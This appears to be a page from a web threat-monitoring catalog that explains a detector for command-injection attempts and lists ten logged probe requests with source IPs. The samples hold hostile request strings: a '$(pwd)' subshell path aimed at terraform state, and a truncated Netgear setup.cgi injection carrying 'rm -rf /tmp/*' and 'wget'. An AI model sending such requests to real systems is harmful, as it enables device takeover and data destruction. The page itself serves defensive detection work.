cloud1
cloud2
cloud3
cloud4
cloud5
cloud6
← Back to annotator catalog
Command injection attempts signal illustration
Annotator cmdi

Command injection attempts

Request content resembles attempts to execute OS commands via an application.

Attack family · Command injection and shell reachability Phase · Exploit delivery and execution Risk · Critical
How It Works Recent Real Samples

What This Annotator Watches

This explanation is derived from the live annotator implementation, not hand-waved catalog copy.
Focus
  • Shell metacharacters and command separators
  • Command-execution style parameters and remote include/file patterns
  • Payload fragments that suggest OS command execution through the app layer
Logic
  • The annotator looks for subshell syntax, separators, redirect operators, and remote include hints.
  • Severity rises when recognized command tokens appear in suspicious context.
  • It is careful to emit summarized snippets rather than raw, unbounded payloads.
Attack Family
Command injection and shell reachability
Phase · Exploit delivery and execution Risk · Critical
Command injection is the moment a web request tries to become operating-system execution. If it succeeds, the fight is no longer about one endpoint. It becomes a host and environment problem.
Damage Patterns
  • A landed command-execution bug can lead to malware staging, persistence, credential theft, ransomware deployment, and lateral movement.
  • The jump in risk is sharp because the attacker moves from application semantics into shell semantics.
Incident Lore
  • The most damaging web compromises often become memorable only after command execution is obtained and the incident leaves the app boundary entirely.
  • Operators frequently underestimate early command probes because the requests look noisy until one payload finally reaches execution.
How To Read It
This is the command-execution probe layer. It tells you when a request looked like it was trying to reach the shell.
Defender Takeaway
This is one of the clearest red-alert families in the catalog. If this is active, think host compromise, not just suspicious input.
Catalog Definition
Flags indicators commonly associated with command execution payloads embedded in parameters, paths, headers, or bodies. This annotator is intended to explain potentially hostile probing without requiring proof that an endpoint is exploitable. Present evidence carefully to avoid oversharing raw payload strings.

10 Most Recent Real Samples

Weekly cached from live annotated access events so the catalog stays fast.
Week
2026W16
Lookback
30 days
Total matched
1615
Latest sample
Apr 12, 2026 • 23:07
Top rules
cmdi:param_plus_cmd · 8 cmdi:subshell · 2
Top requester orgs
Vietnam Posts and Telecommunications Group · 7 Etisalat · 1 Colombia Telecomunicaciones S.a. ESP BIC · 1
Severity mix
30 · 10
Method mix
GET · 10
GET 404 30
Apr 12, 2026 • 23:07
/$(pwd)/terraform.tfstate
Command/file-injection indicator: cmdi:subshell
IP 14.160.124.174 Subnet 14.160.124.0/24 Org Vietnam Posts and Telecommunications Group Country Vietnam Rule cmdi:subshell
GET 301 30
Apr 12, 2026 • 23:06
/$(pwd)/terraform.tfstate
Command/file-injection indicator: cmdi:subshell
IP 86.97.177.68 Subnet 86.97.177.0/24 Org Etisalat Country United Arab Emirates Rule cmdi:subshell
GET 404 30
Apr 12, 2026 • 04:06
/setup.cgi?cmd=rm+-rf+%2Ftmp%2F%2A&curpath=%2F%C2%A4tsetting.htm%3D1&next_file=netgear.cfg&sh+netgear&todo=syscmd&wget+…
Command/file-injection indicator: cmdi:param_plus_cmd
IP 123.16.40.174 Subnet 123.16.40.0/24 Org Vietnam Posts and Telecommunications Group Country Vietnam Rule cmdi:param_plus_cmd
GET 301 30
Apr 12, 2026 • 04:06
/setup.cgi?cmd=rm+-rf+%2Ftmp%2F%2A&curpath=%2F%C2%A4tsetting.htm%3D1&next_file=netgear.cfg&sh+netgear&todo=syscmd&wget+…
Command/file-injection indicator: cmdi:param_plus_cmd
IP 14.240.130.133 Subnet 14.240.130.0/24 Org Vietnam Posts and Telecommunications Group Country Vietnam Rule cmdi:param_plus_cmd
GET 301 30
Apr 12, 2026 • 04:06
/setup.cgi?cmd=rm+-rf+%2Ftmp%2F%2A&curpath=%2F%C2%A4tsetting.htm%3D1&next_file=netgear.cfg&sh+netgear&todo=syscmd&wget+…
Command/file-injection indicator: cmdi:param_plus_cmd
IP 113.166.151.121 Subnet 113.166.151.0/24 Org Vietnam Posts and Telecommunications Group Country Vietnam Rule cmdi:param_plus_cmd
GET 301 30
Apr 12, 2026 • 00:11
/logmap_db/ip/74.125.150.38/annotations/?a=lh9p4&action=winp4&active=jxlp4&char=os7h9&cmd=vf781&config=yuk94&event=qe26…
Command/file-injection indicator: cmdi:param_plus_cmd
IP 181.234.218.235 Subnet 181.234.218.0/24 Org Colombia Telecomunicaciones S.a. ESP BIC Country Colombia Rule cmdi:param_plus_cmd
GET 301 30
Apr 12, 2026 • 00:11
/logmap_db/ip/74.125.150.38/annotations/?a=lh9p4&action=winp4&active=jxlp4&char=os7h9&cmd=vf781&config=yuk94&event=qe26…
Command/file-injection indicator: cmdi:param_plus_cmd
IP 14.172.102.215 Subnet 14.172.102.0/24 Org VietNam Post and Telecom Corporation Country Vietnam Rule cmdi:param_plus_cmd
GET 404 30
Apr 11, 2026 • 06:32
/setup.cgi?cmd=rm+-rf+%2Ftmp%2F%2A&curpath=%2F%C2%A4tsetting.htm%3D1&next_file=netgear.cfg&sh+netgear&todo=syscmd&wget+…
Command/file-injection indicator: cmdi:param_plus_cmd
IP 113.173.211.89 Subnet 113.173.211.0/24 Org Vietnam Posts and Telecommunications Group Country Vietnam Rule cmdi:param_plus_cmd
GET 301 30
Apr 11, 2026 • 06:32
/setup.cgi?cmd=rm+-rf+%2Ftmp%2F%2A&curpath=%2F%C2%A4tsetting.htm%3D1&next_file=netgear.cfg&sh+netgear&todo=syscmd&wget+…
Command/file-injection indicator: cmdi:param_plus_cmd
IP 113.169.41.13 Subnet 113.169.41.0/24 Org Vietnam Posts and Telecommunications Group Country Vietnam Rule cmdi:param_plus_cmd
GET 404 30
Apr 11, 2026 • 05:50
/setup.cgi?cmd=rm+-rf+%2Ftmp%2F%2A&curpath=%2F%C2%A4tsetting.htm%3D1&next_file=netgear.cfg&sh+netgear&todo=syscmd&wget+…
Command/file-injection indicator: cmdi:param_plus_cmd
IP 123.30.80.145 Subnet 123.30.80.0/24 Org Vietnam Posts and Telecommunications Group Country Vietnam Rule cmdi:param_plus_cmd